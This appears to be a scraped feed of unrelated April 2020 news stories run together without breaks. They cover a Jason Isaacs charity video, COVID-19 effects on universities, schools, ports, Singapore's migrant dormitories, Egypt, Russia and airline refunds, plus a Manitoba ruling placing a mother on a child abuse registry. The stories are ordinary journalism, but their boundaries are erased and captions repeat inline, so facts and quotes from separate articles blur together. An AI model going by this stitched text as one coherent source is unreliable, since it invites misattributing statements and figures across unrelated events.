fans he won't be dancing, and that he's here, 'I guess because I was in the Harry Potter films with this guy,' as he revealed Lucius Malfoy's snake wand. Isaacs added, 'We know what magic is, my friends, and magic is this,' as he raised his wand to the camera and magically made a donate button appear. 'I am an ambassador for the British Red Cross, and I would urge you, if you have anything to spare, please, please, to share it with the British Red Cross. Potter films: He assured fans he won't be dancing, and that he's here, 'I guess because I was in the Harry Potter films with this guy,' as he revealed Lucius Malfoy's snake wand He added that the organization is, 'doing wonderful things for the hungry and the homeless and the helpless and the NHS on a scale that's unimaginable.' The British actor then told fans they can put a donate sticker on their videos to encourage their friends to donate to this worthy cause. He then revealed that every penny that is raised will be matched by TikTok, which the actor said was, 'truly magnificent.' Wonderful things: He added that the organization is, 'doing wonderful things for the hungry and the homeless and the helpless and the NHS on a scale that's unimaginable' 'So, if you can, help, if you can't, thanks for watching, stay safe and stay kind,' Isaacs added, before giving fans one last treat. He then raised the snake wand, as he pretended to have the wand say, 'Do the snake dance!' Isaac said that would not fool anyone, when the 'wand' took on a much deeper voice and said, 'Do the dance!' as Isaacs gulped before the video comes to an end. Snake dance: He then raised the snake wand, as he pretended to have the wand say, 'Do the snake dance!' Isaacs first appeared as Lucius Malfoy, the patriarch of the wealthy pure-blood magical family, in the second film in the franchise, 2002's Harry Potter and the Chamber of Secrets. He would return in 2005's Harry Potter and the Goblet of Fire, 2007's Harry Potter and the Order of the Phoenix, 2008's Harry Potter and the Half-Blood Prince and the two-part finale, 2010's Harry Potter and the Deathly Hallows Part 1 and 2011's Harry Potter and the Deathly Hallows Part 2. The actor currently voices The Judge on Netflix's Castlevania anime series, and he will lend his voice to Dick Dastardly in the upcoming Warner Bros. animated film Scoob!, which will be available to buy May 15 on digital streaming outlets. Potter star: Isaacs first appeared as Lucius Malfoy, the patriarch of the wealthy pure-blood magical family, in the second film in the franchise, 2002's Harry Potter and the Chamber of Secrets EUGENE, Ore. The University of Oregon plans to once again hold classes in person for fall term. President Michael Schill announced the plans Monday, saying they will work with local, state and national leaders and other public universities on the west coast as they plan for the next academic year. However, fall term will likely still feel different than usual, Schill said. The university is looking into reducing the amount of people in offices, residence halls and dining facilities, increasing cleaning of all facilities, and testing and contact tracing for students and employees. Our fall plans will comply with Gov. Kate Browns emerging strategy to reopen Oregon and will be informed by guidance from the Oregon Health Authority and Lane County Public Health, Schill said. Our planning will also continue to put student, faculty and staff health and safety at the forefront. There might also be changes to class schedules, reduction in class sizes and changing room assignments to better allow for social distancing. Online classes may also expand. Sophomore Hannah Crowe said she wants to go back to in-person classes but is also scared about the health risks. "It feels morally wrong but at the same time I value my education and in-person classes are way more immersive," Crowe said. "I feel like if we're paying the same amount in tuition, I'd much rather be on campus." The university is also working to handle the projected budget shortfall caused by the pandemic. The reality is that we will need to do something to adjust expenses if enrollment declines significantly and/or we receive state budget cuts, Schill said. Schill also thanked faculty and staff members. I believe with all of my heart that we have the capacity to make the changes necessary for the University of Oregon to flourish, he said. Summer term is expected to be conducted remotely. If you would like to read President Schill's full letter, you can click here. Veteran actor Shabana Azmi is lending a helping hand to around 10 lakh people, across 172 districts. She is helping in the procurement of ration, cooked meals, and sanitation products for migrant workers and daily wage laborers, who have been hit the worst by the coronavirus outbreak. bccl Shabana Azmi took to Twitter to write: Am both proud n thankful dat @ActionAidIndia n partners hve been able 2 reach more than 10 lakh individuals, across 172 districts in 21 states n 1union territory.We hve provided dry rations cooked meals n sanitation products as relief measures.Thank you to all our contributors Azmi Shabana (@AzmiShabana) April 27, 2020 Am both proud n thankful dat @ActionAidIndia n partners have been able 2 reaches more than 10 lakh individuals, across 172 districts in 21 states n 1union territory. We have provided dry rations cooked meals n sanitation products as relief measures. Thank you to all our contributors . Celebrity chef Vikas Khanna, who is himself headlining the COVID-19 relief work took to social media to thank her. He wrote: Vikas Khanna/Twitter 5 mins ago, we reached 50 cities all over India distributing over 200 Quintals Dry Rations. A huge round of applause for @NDRFHQ Officers for working 24/7 on this mission to feed Old-Age Homes and Orphanages. And biggest thanks to Ma and @AzmiShabana for checking on me 24/7. I hope you are less stressed now https://t.co/SSX5Dr9K4R Azmi Shabana (@AzmiShabana) April 27, 2020 After Vikas' tweet, she wrote: I hope you are less stressed now Hibiscus. Recently, she had also tweeted a video where she made an earnest plea to her fans. She had written: Heartening to see our youth making the long road comfortable for our senior citizens. Iss Baar #BadonKeLiye #JaagoRe!! Log onto https://t.co/cLU20N66mv to know more, share your ideas and pledge your support to help the elderly. @JaagoRe pic.twitter.com/Xf6fmjY6G1 Azmi Shabana (@AzmiShabana) April 21, 2020 During this lockdown, I have noticed that the young have become more caring and responsible towards their elders. Some are picking up groceries from them and some are helping them cope with technology. Its almost as if the roles have reversed, which is good because COVID-19 affects the seniors the most. So, look around you for elders because they are vulnerable, message them, and check on them regularly, and ask what kind of help they need, and share with us how you help them. Be there for them, without being around them. Pledge your support to the elderly, Is baar badon ke liye Jaago re. All that the world needs right now is kindness and we love how Bollywood actors are giving it back to society. While school districts in the Capital Region started transitioning to remote instruction in early April, many students still cannot access the internet, and debate is unfolding over how students should be graded during the COVID-19 pandemic. The state Education Department has exempted students from standardized tests and Regents exams, but has left it up to districts to decide how grade point averages are calculated, whether the third- and fourth-term scores will be included on transcripts, or whether students can be held back for incomplete work during the statewide lockdowns. Variations in grading among different schools in the Capital Region are drawing criticism from some parents, students, and educational equity advocates, who say all districts should adopt "no harm" policies that ensure no student can be penalized for circumstances beyond their control. Latest coronavirus-related cancellations, postponements The latest coronavirus numbers in NY Sign up for the Times Union coronavirus newsletter Full coronavirus coverage Alliance for Quality Education's Jasmine Gripper said grading students during the pandemic will only widen achievement gaps and harm children already marginalized by poverty, minority status, or special needs. "We all know about summer learning loss, but what we have never dealt with is severe learning loss ... the quality of remote learning is just not on par with learning one-on-one in a classroom," Gripper said. "Students with higher needs will be hurt the most. Instead of slapping a label on them, we should be thinking of how to bring them back up to speed." While it's not clear yet whether classes will be delivered remotely for the remainder of the year Gov. Andrew M. Cuomo most recent executive order extends the closures through May 15 most Capital Region districts have settled on a pared-down grading system for the final term which indicates that there is "evidence of learning" and that the subject is "not yet learned." For the third term, which ended abruptly on March 15, schools are offering students a variety of opportunities to complete missed assignments or re-do schoolwork to improve their grades through May 15. But while some are offering numeric grades, or incompletes, while other districts have implemented a pass/fail system. When Niskayuna High School students received an email in early April stating that third-term schoolwork would "be counted" towards their grades, high school senior Christine St. Jeanos worried the grading policy would hurt her transcript. "As a senior, I can attest to the anxiety among Niskayuna High School students surrounding our future," she wrote in a Change.org petition that has garnered nearly 100 signatures. "Last weeks announcement that we will receive standard grades for Quarter 3, unfortunately, intensified it. Weve lost nearly one-third of Quarter 3, which once promised us weeks of opportunities to raise grades." District officials later clarified that students would receive "complete" or "incomplete" grades for the third term. Administrators in the suburban Schenectady County district have not yet decided how third- and final-term scores would be factored into GPAs. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. "We recognize there are issues of access and we want to be very responsive to that," Marie Digirolamo, Niskayuna's Assistant Superintendent for Instruction, said. "We also have families where both parents are working, and in order to be as flexible and understanding as possible, we need to go above and beyond to give students credit for what we are referring to as 'evidence of learning.'" St. Jeanos' proposal, to give students a choice between a pass/fail grade or a numerical score, is a system embraced by Coxsackie-Athens Central, a rural Greene County district serving about 1,300 students. "We surveyed the students, gave them several options, asking what they thought was fair; we went with their top choice," Coxsackie-Athens Superintendent Randall Squier said. "We don't anticipate any 'F's. For the final marking period, they will be able to choose their percentage grade or a 'P' for passing." In Albany, where more than half of 9,000 public school students qualify as low-income, thousands of Chromebooks have been passed out, though hundreds still lack consistent access to the internet. Officials believe all students in middle and high school now have access to a device, younger students are working on paper packets, and teachers are "aggressively" working to connect with students and help them complete their third-term assignments by May 15, according to spokesman Ron Lesko. Students who complete the work will receive a numeric grade, and those who don't will get "incomplete," which translates to 55% an 'F.' Meanwhile, policymakers in New York City are debating whether the city's 1.1 million students should be graded during the pandemic. Advocates point to large-city districts in other states are experimenting with no harm grading policies, like Chicago which only enables students to improve their grades during the remote learning period, San Francisco, which guarantees 'A's for all students or Denver which lets student choose whether to be graded. While districts with students without internet access are required by the Education Department to distribute paper packets, many families surveyed by the Alliance for Quality of Education are unclear on how to turn the packets in to receive credit, according to Gripper. Grading students singles out children without access to the internet. "If all we are grading is a privilege, we are doing a disservice to our children," she said. Justin Paget | Getty Images Health officials in the U.K. are warning that Covid-19 could be causing a new and rare inflammatory condition in children. Britain's Paediatric Intensive Care Society said Monday the National Health Service alerted it to a small number of critically ill children presenting with "an unusual clinical picture." The society noted that many but not all of the children with symptoms of the new inflammatory disease had been diagnosed with Covid-19. The condition was likened to toxic shock syndrome and Kawasaki disease. Toxic shock syndrome is a rare, life-threatening condition caused by bacteria getting into the body and releasing harmful toxins. Symptoms include a high temperature, a sunburn-like rash and flu-like symptoms such as a headache and sore throat. Kawasaki disease causes swelling of heart's blood vessels and mainly affects children under the age of 5, according to the U.K.'s NHS. Symptoms include a rash, swollen glands in the neck, dry or cracked lips and red fingers or toes. Symptoms of the condition Common symptoms of the new inflammatory condition include abdominal pain, gastrointestinal symptoms and cardiac inflammation, the society said. "An early case report relating to Covid-19 presenting as Kawasaki syndrome has been published recently, and PICS is aware of a small number of children nationally who appear to fit the clinical picture described in the NHS England alert," the organization added. Speaking to BBC Radio 4's "Today Programme" on Tuesday, Dr. Sanjay Patel, a consultant in pediatric infectious diseases at Southampton Children's Hospital in England, likened the illness to sepsis a life-threatening reaction to an infection but added there were "most definitely" ways it could be treated. "Over the last few years there's been a huge narrative about sepsis, parents are on the lookout for cold hands and feet, difficulty breathing, lethargy, and it presents similarly to that," he said. "These children will end up in hospital, front line doctors will initially treat this as sepsis and these children initially don't improve with antibiotics. It's at that point that more investigations suggest this is an inflammatory condition that requires immune modulating treatment such as steroids and other drugs." The new coronavirus, which has infected more than 3 million people and caused 212,056 deaths globally to date, is widely understood to be less severe and cause fewer fatalities in children compared to adults. However, speaking to U.K. radio station LBC on Tuesday, British Health Minister Matt Hancock said he was "very worried" about recent reports of children presenting with the new condition. "We don't know yet (if it can prove fatal)," he said. "It's a new disease that we think may be caused by the Covid-19 virus we're not 100% sure because some of the people who got it hadn't tested positive, so we're doing a lot of research now but it is something we're worried about. Although it is very significant for those children who do get it, the number of cases is small." He said the NHS had put out a call to doctors to be on alert for the condition and collate any information on children who were admitted to hospital with symptoms. Meanwhile, Chris Whitty, England's chief medical officer, told reporters at the U.K. government's daily coronavirus press conference on Monday it was "entirely plausible" the new condition could be brought on by Covid-19. "This is a very rare situation, but I think it's entirely plausible that this is caused by this virus at least in some cases, because we know that in adults big problems are caused by an inflammatory process, and this looks rather like an inflammatory process," he said at Monday's press briefing. Whitty emphasized, however, that it was not clear the coronavirus was definitely the cause of the new condition in children, noting that experts needed to look for other potential causes. "Given that we've got a new presentation of this at a time with a new disease, the possibility that there is a link is certainly plausible," he said. "But the number's very small, the key thing is if parents are worried, then phone up and get advice. It's very rare." 'Absolutely tiny numbers' Pakistan: Blue economy seek ways out amid COVID-19 April 28,2020 | Source: AAJ Located beside the key shipping routes in and out of the Persian Gulf, Gwadar Port which strives to become a vibrant transit and transshipment port, took actions since COVID-19 did shake Pakistans economy. According to Gwadar Pro App, at the request of the Federation of Pakistan Chambers of Commerce & Industry (FPCCI), Pakistan-Afghanistan Joint Chamber of Commerce & Industry (PAJCCI), Gwadar International Terminals Limited and other stakeholders, government allowed import of Afghan bulk cargo of wheat, sugar and fertilisers at the Gwadar Port, and onward transit to Afghanistan from April 17. The petitions have been examined in light of the Afghanistan-Pakistan Transit Trade Agreement (APTTA) 2010, and in view of the provisions of the APTTA, the petitions of the stakeholders, and for the sake of efficient and cost-effective operationalization of the Gwadar Port and the western-corridor of the CPEC, the import of Afghan bulk-cargo of wheat, sugar and fertilisers at the Gwadar Port and onward transit to Afghanistan shall be permitted in bonded carrier, insured and sealable trucks having a tracking device installed on them, the office memorandum noted. In addition to Gwadar Port, Karachi Port and Port Qasim, Pakistans two main operating international deep-sea ports, also adopted measures to tackle the current economic downturn caused by COVID-19. On April 15, Central Development Working Party (CDWP) approved 3 projects worth Rs. 1.04 billion for Karachis Korangi Fish Harbour (KFH), namely, Establishment of Business Park at Korangi Fisheries Harbour worth Rs.784 million, Establishment of Cold Storage & Freezing Tunnel at Korangi Fisheries Harbour worth Rs. 170.1 million and Modification of Auction Hall of Korangi Fisheries Harbour worth Rs 94 million. As per CDWP, the first project presented by Ministry of Maritime Affairs envisages the development of Business Park to accommodate industrial units, offices and other associated infrastructure and services centered around one primary product or activity. Port Qasim currently caters for more than 40% of seaborne trade requirements of the country issued a Response Plan for Coronavirus on March 12, preparing to deal with entry of the ship in port and while it is berth inside and defining the role function of port health authority, port administration, shipping lines/agents and other stake holders. In accordance with the Response Plan, brisk shipping activity was observed at Port Qasim these days, with ships like Maersk Bentonville, Nordic Anny, CL Heidi and Serene Amelia carrying Containers, Mogas and Coal arriving at outer anchorage of Port Qasim on April 17. On top of port authorities mentioned above, Pakistans fishermen are to venture into the Seas of Pakistan by being equipped with advanced Vessel Monitoring Systems (VMS) technology. According to Pakistans Press Information Department, Fisheries Development Commissioner Dr. Safia Mushtaq gave a detailed presentation to Federal Minister for Maritime Affairs Syed Ali Haider Zaidi on VMS, an integral element of Monitoring, Control and Surveillance (MCS) programs at the national and international level on April 18. In other words, Ministry of Maritime Affairs is all set to harness potential in deep sea fishing by providing access to cost effective and state of the art equipment to Pakistani fishermen, with fishermen who are currently operating from coastal areas of the province of Sindh and Balochistan to benefit the most. As the first step in the modernization of industry, the up-to-date technology will open new avenues of development and sustainability in the fishing industry of Pakistan. Singapore has seen a surge of coronavirus cases among migrant workers, after months of successfully controlling the outbreak. As of Tuesday, coronavirus cases linked to migrant worker dormitories accounted for 88 percent of Singapores 14,446 cases, including more than 1,400 new cases in a single day. New Cases Per Day Note: Data is as of April 27, 2020. Singapore has extensively traced the close contacts of each person infected with the coronavirus and released detailed information about clusters of cases. An analysis of the data shows how the virus has spread rapidly among migrant worker dormitories. Many migrant workers live in packed dormitories on the outskirts of the city. These dormitories can house up to 20 people per room, making it almost impossible to follow social distancing guidelines. Migrant workers around the world have been among the most vulnerable groups affected by the pandemic. Dormitories packed with migrant workers, often 20 to a room, are linked to most of Singapores coronavirus cases. Among these living quarters are, clockwise from top left: the S11 Dormitory, a dormitory in the Tuas area, Cochrane Lodge II and Westlite Toh Guan. Ore Huiying for The New York Times; video obtained by Reuters; Edgar Su/Reuters; Singapore Ministry of Manpower The government has directed all laborers living in dormitories to stop working until May 4, imposing a stay-at-home order for 180,000 foreign workers in the construction sector. The government has also declared 25 dormitories as isolation areas, where workers are confined to their rooms. Transient Workers Count Too, an advocacy group for migrant workers in Singapore, criticized the governments plan to quarantine such a large population together. The group compared the lockdown with situations on cruise ships in which cases multiplied uncontrollably even when passengers were kept to their rooms. The Singapore government requires a minimum of 48 square feet of living space for each worker. According to dormitory visits conducted by Transient Workers Count Too, here is a typical layout of a 20-person dorm room. 39 feet Bunk beds Entrance 25 feet Shared bathroom Bunk beds Entrance Shared bathroom 39 feet 25 feet Source: Transient Workers Count Too S11, a dormitory with the largest cluster of the coronavirus in Singapore, houses more than 2,200 people who are infected. The dormitory has a capacity of over 10,000. Singapore Health Ministry officials suspect that Mustafa Center, a 400,000-square-foot mall, is the starting point for the infections at the dormitories. The shopping center is popular among migrant workers, local residents and tourists. Dormitory clusters Each dot represents one case Sungei Tengah Lodge Other local clusters Tuas View Dormitory Project Glory construction site S11 Dormitory Mustafa Center, mall where officials believe the dorm outbreaks started Dormitory clusters Each dot represents one case Sungei Tengah Lodge Tuas View Dormitory S11 Dormitory Other local clusters Project Glory construction site Mustafa Center, mall where officials believe the dorm outbreaks started Dormitory clusters One case Sungei Tengah Lodge Tuas View Dormitory S11 Dormitory Other local clusters Project Glory Mustafa Center Note: Data is as of April 27, 2020. Some cases are linked to more than one cluster, and some local clusters may be dormitories. Some of the cases in dormitories have also been linked to construction sites where migrants with the virus worked. The biggest construction site cluster is Project Glory, a 51-story office tower in the downtown business area. It is linked to at least six dormitories. More than 20 percent of Singapores population of 5.7 million are foreign workers, a vast majority of whom are low-wage laborers with work permits. Many of these migrants come from Bangladesh and India, and they work in construction, shipping, manufacturing and domestic service sectors. The breakdown of nationalities among the confirmed cases shows that workers from these countries have been disproportionately affected. Nationality of Confirmed Cases Note: Data is as of April 19, 2020, the most recent day that the Singapore Ministry of Health reported the nationalities of people with the coronavirus. Migrant workers in Singapore have long struggled with a lack of medical care. A charity that provides subsidized health care for workers suggested that this problem was especially acute during the coronavirus outbreak and may have contributed to the explosion of cases among migrant workers. A judge has ordered a Manitoba woman's name be placed on the national child abuse registry, after she ignored several red flags that a neighbour had been sexually abusing her daughter. Hey there, time traveller! This article was published 27/4/2020 (625 days ago), so information in it may no longer be current. A judge has ordered a Manitoba woman's name be placed on the national child abuse registry, after she ignored several "red flags" that a neighbour had been sexually abusing her daughter. "The disturbing facts of this case demonstrate how easily and how quickly a mother and her children can become entangled with a child sexual abuser and the devastating results that follow," Queens Bench Justice Kaye Dunlop said in a judgment delivered earlier this month. "This case is about the duty of society to protect children, not only from those who commit child sexual violence but from those who objectively fail to protect their children from sexual violence." The young girls abuser was convicted after trial of sexual interference, invitation to sexual touching, and making sexually explicit material available to a child. He was sentenced last year to eight years in prison. He cannot be named as doing so might identify his victim. After the mans conviction, Child and Family Services sought a court order that the girls mother name be added to the national child abuse registry. Court heard the man befriended the girls mother upon her moving into the same apartment building in a small southern Manitoba town where he was a school teacher. The woman told court she was romantically interested in the man and trusted him. Within days, the woman was allowing him to pick up her daughter at school and have her stay with him while she was at work. The man began abusing the girl three days after meeting her up to 30 times over the course of a month until the girl disclosed the abuse to her mother in July 2016. The mother immediately notified police. During that month, the man showed the girl pornography and had her to his apartment for sleepovers, when he would force her into sex acts. "The mother was of the opinion that the child acted like she was happy during the period of time that she was in contact with (the man)," Dunlop said. "Her implication was that she had no reason to suspect anything was happening to the child as a result." Dunlop said the woman ignored "flagrant" signs the man was not the friend he claimed to be, including an incident when the girl acted out in a sexually suggestive manner and he dismissed it as "no big deal." On another occasion, after the man and woman had been drinking and the woman tried to initiate sex, the man could not perform and said: "This would be nice with (the child)." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. The woman became alarmed, but accepted the mans explanation when he backtracked, and even allowed the man to continue having time alone with her daughter, court was told. "Subjectively, the decisions made by the mother were not the decisions that an ordinary, prudent or reasonable parent would have made for their child," Dunlop said. "Most parents would not have trusted their child to an individual they met only three days earlier and then, within days after that, allow their child to sleep unsupervised repeatedly at his home. "By the time (the man) said to the mother while they were both in bed naked and engaged in several sexual acts that he wanted the child in bed with them, the issue of the child potentially being or having been sexually abused was literally staring the mother in the face," Dunlop said. "Her decision thereafter to allow (the man) unfettered and unsupervised access to her child for multiple days cannot be explained as a mistake." The womans two children are now in the care of her ex-husband. Names included on the child abuse registry are available to police, social service and adoption agencies, and employers to assess whether the named person is suitable to work with children. dean.pritchard@freepress.mb.ca The prime minister had warned last week that the number of infections is expected to rise, yet assured the public that the government is still able to contain the virus Egypt detected 260 new novel coronavirus cases on Tuesday, the highest infections toll reported since the outbreak, surpassing the 5,000 mark to report a total of 5042 cases nationwide, a statement by the health ministry said on Tuesday. The ministry also reported 22 new deaths, the highest single day reported deaths, bringing the total deaths from the virus to 359. The statement said 68 cases have been discharged, bringing the total number of recoveries to 1304 cases to date. The ministry said 17 of reported death cases on Monday and Tuesday have passed away before arriving at hospitals. 30 percent of total deaths due to the pandemic have passed away before admission at hospitals, while 20 percent have passed away after 48 hours of admission due to a deterioration in their medical states, according to the statement. Egypt first hit its 1,000 benchmark on 4 April, with infections tally continuing to rise despite imposed restrictions since March to stem the spread of the pandemic in the populous country. Several healthcare facilities in Egypt have detected cases among their doctors and nurses in the past few days, triggering fears that the outbreak would hit the countrys overwhelmed healthcare sector. Last week, Egypt shortened the nighttime curfew by one hour for Ramadan, amending curfew hours to begin at 9 pm instead of the previous 8 pm. Prime Minister Mostafa Madbouly had warned last week that the number of infections is expected to rise, yet assured the public that the government is still able to contain the virus. If the rate of infections surges significantly and gets out of control, however, the government will take immediate measures that will be stricter than those currently in place, he said. Egypt is seeing an unprecedented Ramadan this year as restrictions to contain the pandemic are expected to take a toll on the cherished rituals of Islams holiest month. Egypt has banned all public religious gatherings during Ramadan including public iftars fast-breaking meals and the communal Taraweeh prayers. The ban will also include the itikaf ritual in which believers seclude themselves in mosques for an extended period. However, Egypt has indicated that it will take slow steps to return to normal life after the Eid Al-Fitr religious holiday, which marks the end of the holy month. Financial losses in some of Egypts main vital sectors, including tourism, have pushed the country to resort to the International Monitory Fund (IMF) for a new one-year financial assistance deal along with technical support as a proactive step to counter the negative economic repercussions of the coronavirus outbreak. Search Keywords: Short link: A British Airways Airbus A318. Thomas Pallini/Business Insider The International Airlines Group announced a proposal that may see employees at flagship subsidiary British Airways reduced by up to 12,000. The group saw losses of 13% in the first quarter this year with second-quarter losses expected to be even more drastic. Air travel is not expected to return to 2019 levels for years, according to Chief Financial Officer Stephen Gunning. Visit Business Insider's homepage for more stories. British Airways' parent company International Airlines Group is proposing a new employment structure for the flag carrier that seeks to permanently reduce the number of its employees by up to 12,000. In announcing its decision, the group cited its March losses as travel restrictions beyond China began to set in and customers changed or canceled flights en masse, with demand not expected to return for years, Chief Financial Officer Stephen Gunning said in a letter to stock exchanges in Madrid and London. "In light of the impact of COVID-19 on current operations and the expectation that the recovery of passenger demand to 2019 levels will take several years, British Airways is formally notifying its trade unions about a proposed restructuring and redundancy programme," Gunning said. "The proposals remain subject to consultation but it is likely that they will affect most of British Airways' employees and may result in the redundancy of up to 12,000 of them." British Airways, so far, has limited its employee-redundancy efforts to furloughs during the downturn, with nearly 23,000 of its staff on leave for the month of April. It's also the largest in the multinational airline group that also includes flag carriers Aer Lingus and Iberia. First-quarter results for the group saw revenue drop by 13%, bringing in 4.6 billion euros as opposed to 5.3 billion euros the year prior. British Airways accounted for the greatest losses out of the group's airlines. Second-quarter losses, however, are expected to be worse as the pandemic continues and vacationers reconsider summer travel plans, traditionally a peak travel time for leisure customers. Read the original article on Business Insider Airlines are using underhand tactics to make it almost impossible for holidaymakers to claim refunds for cancelled flights. Hundreds of readers have contacted us to complain major airlines are illegally withholding refunds that should be paid within a week. Many say they have been goaded into accepting credit-note vouchers which have little consumer protection and could prove worthless if an airline went bust. Hundreds of readers have contacted us to complain major airlines are illegally withholding refunds that should be paid within a week Others describe refund processes as unclear, complex or time-consuming, forcing them to give up. Last night, the powerful Commons transport committee of MPs confirmed plans to investigate the issue in a series of hearings with aviation bosses next week. Under EU law, passengers are entitled to a full refund on the cost of a cancelled flight within seven days, or 14 days if they have booked it as part of a package. But carriers are delaying issuing refunds for fear of going bust so holidaymakers' cash is essentially being used as interest-free loans for crisis-hit airlines. This is having a knock-on effect on package holiday companies, who are also waiting for airlines to repay them before they can issue their own refunds. Critics say a lack of government action on the issue has turned the travel industry into the Wild West, leaving families out of pocket at a time when many are under financial strain. Industry estimates suggest companies are sitting on 7 billion in unpaid refunds. The committee chairman, Tory MP Huw Merriman, told us: 'Yes, airlines have a need for cash but this should be drawn from their lenders, not from passengers who are legally entitled to a refund. 'Many people have their own financial worries and may not be able to use a future travel voucher.' 'BA left us struggling' Pensioners Paul and Wendy Cary return flight from Barbados was cancelled on March 23 Pensioners Paul and Wendy Cary feared they would be stranded in Barbados when BA cancelled their return flight on March 23, a week before they were due to travel. The last BA flight back was on March 26, so they knew they had to get on one before then. Paul, 72, could not get through to customer services. His BA online account did not show any available seats on another flight. BA offered a voucher for the cancelled flight but it could not be redeemed for the next seven days. Finally the couple, from Hook, Hampshire, tried booking as new customers and found two economy seats on a flight leaving on March 25, costing $3,671 (2,958). Their original flights cost 1,821 return. Paul says: 'We had to pay. The apartment we were staying in was closing down.' Back home, the Carys filled out an online complaint form but the airline will only offer vouchers for the original flights it cancelled. Paul says: 'This has really left us struggling financially. We are both on a state pension.' British Airways was contacted for comment. BA has been accused of acting disgracefully by removing a refund option from its website, while retaining the option to receive a credit-note voucher towards a future flight. Passengers are told to call a customer service number but the line is frequently blocked. When we called this week, it played an automated message, then cut out. EasyJet customers have also described endless waits to speak to customer service. It is, however, easy for customers to claim a credit note valid for a year. Ryanair, Virgin Atlantic and TUI are also offering credit notes automatically. These can be rejected in favour of a full refund. However, Ryanair has warned that passengers who want their money back will be 'placed in the cash refund queue until the Covid-19 emergency has passed'. Virgin Atlantic is in crisis and could collapse at the end of May unless a buyer is found. This would render any credit notes worthless, unless the Government steps in to protect vouchers under Atol. Then, even if an airline folded, customers would get their money back. Wizz Air has resumed flights from Luton to several destinations in Europe this week, meaning passengers who do not wish to travel are denied the right to a refund. Consumer champions Which? say the move was 'nothing more than a cynical cash grab'. How airlines bend the rules British Airways: The refund option has been removed from its website but the option to claim a voucher remains. The customer service line is frequently engaged or puts callers on hold for hours. Customers are being encouraged to apply for a voucher equal to the value of their flight but must pay more if it ends up being more expensive. BA says customers should call to rebook, refund or choose a voucher. Refunds can be requested up to 12 months after the original departure date. EasyJet: The refund option was taken off the website, but reinstated after customer complaints. The airline is trying to refund customers within 28 days, but admits it could take longer. A spokesman says: 'We assure customers these entitlements will be available long after their cancelled flight was due to fly.' Ryanair: Offered full reimbursement within 30 working days, then did a U-turn and is 'highly recommending' customers apply for a voucher instead. Says customers will be able to exchange vouchers for cash after a year. A spokesman says: 'Customers who choose a voucher but don't redeem it within 12 months may still apply for and obtain a refund. Customers who choose not to accept a free move or voucher will be refunded in due course, once this crisis is over.' Virgin Atlantic: Credit notes are being issued but can be rejected in favour of a full refund, with claims processed within 90 days. A spokesman says: 'The credit [equal to the value of the cancelled flight] can be used to rebook on alternative dates, allowing for a destination and name change, for travel until May 31, 2022. If the rebooked date is before November 30, 2020, we'll waive any fare difference.' Refunds will take longer than normal. Tui: Customers can choose a refund or credit note but can only apply for their money back once their refund credit has been received up to four weeks after the departure date. A spokesman says requested refunds will take about four weeks. Jet2 is offering cash refunds but with delays because of an 'unprecedented' number of calls. Will the rules be changed on refunds? Industry insiders have suggested that the Department for Transport (DfT) is set to make an announcement on the issue after weeks of inaction. The Association of British Travel Agents (Abta) has been lobbying ministers to relax rules requiring airlines to issue refunds within a set timeframe although most have ignored them anyway. They want credit notes to retain Atol protection, giving reassurance to holidaymakers who fear their money will disappear. The situation has been worsened by uncertainty about when flights will resume. The International Air Transport Association (IATA) has warned that the industry is facing an 'apocalypse' and more than half the world's carriers could go bust. EasyJet has received a 500 million emergency loan from the Treasury. But the future looks less hopeful for Virgin Atlantic, whose request for state aid was refused. Even BA boss Alex Cruz has warned that the nation's flag-carrier faces a fight for survival. In a dramatic announcement to staff yesterday, the company said it was making up to a quarter of them 12,000 people redundant. But an Abta spokesman says: 'Customers whose holidays have been cancelled because of the pandemic absolutely have the right to a refund, and where cash refunds are requested they should be given as soon as possible.' Vladimir Putin has extended Russia's coronavirus lockdown until May 11 after the country saw a record daily rise in cases and deaths today. Putin said Russia had not yet reached its peak of virus cases as he announced that the 'non-working period' would continue past its previous deadline of April 30. Speaking to the nation during a meeting with regional leaders, the Russian president said measures could start to be lifted step-by-step from May 12. Russia today saw 6,411 cases - a new high, surpassing Sunday's 6,361 - bringing the total number of infections from 87,147 to 93,558. The jump means that Russia overtakes Iran and China to move into eighth worldwide for the number of confirmed cases, although there are doubts over China's figures. Russia also recorded 72 new deaths today, passing the previous record of 66, taking the total death toll from 795 to 867. Vladimir Putin (pictured during a video conference meeting today) has extended Russia 's coronavirus lockdown until May 11 after the country saw a record daily rise in cases and deaths today This graph shows the rising daily number of coronavirus cases in Russia, which hit a new peak of 6,411 today to bring the total to 93,558 Russia's daily death toll also reached a new high today as 72 more fatalities were recorded in the last 24 hours, passing the previous record of 66 Medical workers wear masks, goggles and white protective suits in an intensive care unit for coronavirus patients at Pirogov City Clinical Hospital in Moscow yesterday Russia's 147million people are scattered across 11 time zones and 85 regions, but Moscow has taken the worst hit with 48,426 cases by itself. The surrounding region has another 10,231 confirmed cases while St Petersburg has recorded 3,436. The Arctic region of Murmansk has also seen more than 1,000 cases, while Krasnoyarsk is the worst-hit part of Siberia with 888 positive tests. The government's figures also include the Crimean peninsula, which Moscow annexed in 2014 but which most countries do not recognise as part of Russia. Russia says it has carried out more than 3.1million tests across its territory, including nearly 120,000 in the last 24 hours. The country has been in lockdown since late March, and Vladimir Putin today extended those measures until May 11. Putin ordered the government to come up with fresh measures aimed at supporting the economy and citizens, and to prepare recommendations on gradually easing the lockdown. The lockdown is estimated to cost Russia 0.5 percentage points of its gross domestic product every week. Prime minister Mikhail Mishustin has asked his government to submit proposals by Thursday to ease some of the restrictions on businesses. Speaking to the nation during a meeting with regional leaders, the Russian president (pictured today) said measures could start to be lifted step-by-step from May 12 A medical worker treats a patient at the Pirogov hospital yesterday in Moscow, which has taken the brunt of Russia's coronavirus outbreak Many firms have warned that they risk going bankrupt if the lockdown continues, and thousands of workers have been laid off. But Anna Popova, the head of Russia's safety watchdog Rospotrebnadzor, told state television that, in her view, restrictions should remain in place until May 12. Russia enters two sets of long weekends from May 1 to May 11, with only three working days in between which many usually prefer to take off. Yandex, Russia's top search engine, has recently introduced a self-isolation index which tracks people's activity based on apps including maps and food deliveries. On Tuesday it stood at 3 of the maximum 5 for Moscow, a city of nearly 13 million, meaning there are a lot of people on the streets. Although Moscow's index is better than an average in nearly 300 other Russian cities, the figure has fallen since early April which suggests people may be starting to disregard the restrictions. Moscow has introduced special barcodes for cars since mid-April to curb people's movements - a practice set to be extended to 21 other Russian regions. 